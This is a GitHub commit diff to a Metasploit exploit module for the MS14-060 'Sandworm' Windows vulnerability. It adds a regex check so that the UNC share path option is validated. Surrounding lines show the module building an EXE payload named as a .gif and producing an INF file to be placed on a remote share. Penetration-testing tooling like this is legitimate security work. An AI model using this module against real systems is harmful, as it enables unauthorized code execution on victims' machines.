Skip to content

Commit 8fa6487

Browse files
committed
Add @wchen-r7's unc regex
1 parent e590356 commit 8fa6487

File tree

1 file changed

+15
-1
lines changed

1 file changed

+15
-1
lines changed

modules/exploits/windows/fileformat/ms14_060_sandworm.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,11 @@ def initialize(info={})
8181
end
8282

8383
def exploit
84-
@unc = datastore['UNCPATH']
84+
@unc = validate_unc_path
85+
86+
if @unc.nil?
87+
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
88+
end
8589

8690
print_status("Creating the EXE payload...")
8791
payload_name = "#{rand_text_alpha(4)}.gif"
@@ -104,6 +108,16 @@ def exploit
104108
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
105109
end
106110

111+
def validate_unc_path
112+
if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
113+
unc = datastore['UNCPATH']
114+
else
115+
unc = nil
116+
end
117+
118+
unc
119+
end
120+
107121
def my_file_create(data, name)
108122
ltype = "exploit.fileformat.#{self.shortname}"
109123
path = store_local(ltype, nil, data, name)

0 commit comments

Comments
 (0)